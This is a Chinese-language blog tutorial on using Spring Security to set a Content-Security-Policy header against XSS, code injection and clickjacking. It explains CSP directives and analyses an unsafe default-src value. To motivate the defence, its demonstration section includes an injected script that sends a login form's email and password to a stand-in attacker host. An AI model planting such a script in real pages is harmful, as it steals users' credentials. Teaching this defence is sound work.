Spring Security 配置 Content Security Policy(CSP)

参考网址 https://springdoc.cn/spring-security-csp

1.概览

跨站脚本攻击(Cross-Site Scripting,XSS)一直稳居最常见的 十大网络攻击 之列。XSS 攻击发生在 Web 服务器处理用户恶意输入时,未经验证或编码即在页面上渲染。与 XSS 攻击类似,代码注入和点击劫持通过窃取用户数据和冒充用户身份来对 Web 应用造成严重影响。

本文将会带你了解如何使用 Spring Security 通过内容安全策略(Content-Security-Policy)保护 Web 应用免受点击劫持、代码注入和 XSS 攻击。

2.Content Security Policy

内容安全策略(Content Security Policy,简称 CSP)是一种 HTTP 响应头,可大大减少 现代浏览器 中的代码注入攻击,如 XSS、点击劫持 等。

Web 服务器通过 Content-Security-Policy Header 部指定了浏览器可以渲染的资源的列表。这些资源可以是浏览器渲染的任何内容,例如 CSS、JavaScript、图像等。

该 Header 的语法如下:

Content-Security-Policy: <directive>; <directive>; <directive> ; ...

此外,还可以将此策略设置为 HTML 页面中 <meta> 标签的一部分:

<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">

每个 指令 都包含一个具有多个值的 key。指令可以不止一个,每个指令之间用分号(;) 分隔:

Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';

如上例所示,有两个指令(script-src 和 style-src),而指令 script-src 有两个值(self 和 https://baeldung.com)。

CSP1.0选项配置

default-src:为其余指令设置默认源列表。如果其它指令没设置,就用default-src的默认配置
script-src:为JavaScript一些脚本配置安全策略
object-src:这里一般指Flash或者一些Java插件等等
style-src:css样式
img-src:图片
media-src:媒体文件(音频和视频)
frame-src:嵌入的外部资源(比如、等等)
font-src:字体文件
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)

CSP2.0选项配置

base-uri:控制是否允许文档操作页面的基本 URI。
child-src:替换frame-src.
form-action:控制文档提交 HTML 表单的能力。
frame-ancestors:像 X-Frame-Options 标题一样工作,通过控制如何将此文档嵌入到其他文档中。
plugin-types:控制页面可以加载哪些特定插件,例如 Flash、Java、Silverlight 等。

3.漏洞演示

通过示例来说明 XSS 和代码注入漏洞的严重性。

3.1 登录表单

一般来说,在 Web 应用中,会在 Session 超时时将用户重定向到登录页面。

一个标准的登录表单包含用户名/密码字段和一个提交按钮:

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button>
</form>

3.2 代码注入

用户可以在通过表单字段注入可疑代码。例如,假设注册表单中有一个接受用户名的文本框。

用户可以输入 <script>alert("this is not expected")</script> 作为用户名,然后提交表单。随后,当渲染显示用户名时,它就会执行脚本(在这种情况下会弹出 alert 对话框)。该脚本甚至可以加载外部脚本,从而造成更严重的危害。

同样地,假设我们有一些缺乏足够验证的表单字段,用户可以再次利用这一点,向 DOM(文档对象模型) 中注入恶意 Javascript 代码:

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button> 
</form>
<script>
    let form= document.forms.login;
    form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
      +"&p="+document.getElementById('password').value;
</script>

当用户点击登录按钮时,注入的 Javascript 代码会将用户重定向到恶意网站。

当不知情的用户提交表单时,他就会被重定向到 https://youaredoomed.com,并导致他的凭证信息泄露。

4.Spring Security

4.1 HTML Meta 标签

如果在上一个示例中添加 Content-Security-Policy Header,就会阻止向恶意服务器提交表单。

使用 <meta> 标签添加该 Header 并进行测试:

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

尽管 meta 标签可以减轻 XSS 和代码注入攻击,但它们的功能有限。例如,不能使用 meta 标签报告违反内容安全策略的情况。

因此,可以利用 Spring Security 的强大功能,通过设置 Content-Security-Policy Header 来降低这些风险。

4.2 依赖

首先,在 pom.xml 中添加 Spring Security 和 Spring Web 依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

4.3 配置

接着,通过创建 SecurityFilterChain Bean 来定义 Spring Security 配置:

@Configuration
public class ContentSecurityPolicySecurityConfiguration {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers()
            .xssProtection()
            .and()
            .contentSecurityPolicy("form-action 'self'");
        return http.build();
    }
}

如上,声明了 contentSecurityPolicy,以将表单 Action 限制在页面的同源。

4.4 Content-Security-Policy响应头

完成了必要的配置后,启动应用。打开浏览器的开发工具(按 F12),点击网络选项卡,然后打开 URL http://localhost:8080

有了 Content-Security-Policy Header,浏览器就能阻止提交请求,降低凭证泄露的风险。

同样,也可以配置 Spring Security 以支持 不同的指令。例如,如下这段代码指定浏览器只加载来自和页面同源的脚本:

.contentSecurityPolicy("script-src 'self'");

指示浏览器只从页面同源和 somecdn.css.com 下载 CSS:

.contentSecurityPolicy("style-src 'self' somecdn.css.com");

还可以在 Content-Security-Policy Header 中组合任意数量的指令。例如,要限制 CSS、JS 和表单 Acation,可以指定:

.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")

5.总结

虽然无法完全防范这些攻击,但内容安全策略(Content-Security-Policy)Header 有助于减轻大部分攻击。值得注意的是,到目前为止,大多数现代浏览器并不完全支持该 Header。因此,在设计和构建应用时必须遵循可靠的安全原则和标准。

6.附录

default-src: "'unsafe-inline' 'unsafe-eval' 'self' data: ws://ta404/webSocketServer"

在 `Content-Security-Policy` (CSP) 中,`default-src` 指令用于定义默认的源策略,适用于所有未明确指定的指令。以下是对你提供的 `default-src` 配置的详细分析:

### 配置解析
- **`'unsafe-inline'`**
  - **含义**:允许内联脚本和样式执行。
  - **作用**:在 HTML 中直接嵌入的 `<script>` 和 `<style>` 标签将被允许执行。
  - **风险**:使用内联脚本和样式会增加跨站脚本攻击(XSS)的风险,因为攻击者可能会注入恶意的内联脚本。

- **`'unsafe-eval'`**
  - **含义**:允许使用 `eval()` 函数及其相关方法(如 `setTimeout()` 和 `setInterval()` 中的字符串参数)。
  - **作用**:允许动态执行代码。
  - **风险**:使用 `eval()` 及其相关方法会增加安全风险,因为它们可以执行任意代码,可能导致恶意代码执行。

- **`'self'`**
  - **含义**:允许从当前源加载资源。
  - **作用**:允许从当前网站的同一域加载资源,例如脚本、样式、图片等。
  - **安全性**:相对安全,但需要确保服务器的安全性,防止恶意资源上传。

- **`data:`**
  - **含义**:允许使用 `data:` URL 方案。
  - **作用**:允许加载嵌入的资源,如 Base64 编码的图片或脚本。
  - **风险**:使用 `data:` URL 可能增加安全风险,因为攻击者可能会利用嵌入的恶意资源。

- **`ws://ta404/webSocketServer`**
  - **含义**:允许从指定的 WebSocket 服务器加载资源。
  - **作用**:允许与 `ws://ta404/webSocketServer` 进行 WebSocket 通信。
  - **安全性**:确保 WebSocket 服务器的安全性,防止恶意数据传输。

### 总结
- **安全性**:该配置允许较多的不安全操作(如内联脚本和动态代码执行),增加了 XSS 和其他注入攻击的风险。
- **灵活性**:提供了较高的灵活性,允许从多个源加载资源,适合一些需要内联脚本和动态代码执行的应用场景。
- **建议**:在生产环境中,尽量避免使用 `'unsafe-inline'` 和 `'unsafe-eval'`,并限制 `data:` URL 的使用。可以通过更具体的指令(如 `script-src`、`style-src` 等)来细化资源加载策略,以提高安全性.

根据具体的应用需求和安全要求,可以对 CSP 策略进行调整,以在灵活性和安全性之间取得平衡。

posted @   子墨老师  阅读(363)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示
点击右上角即可分享
微信分享提示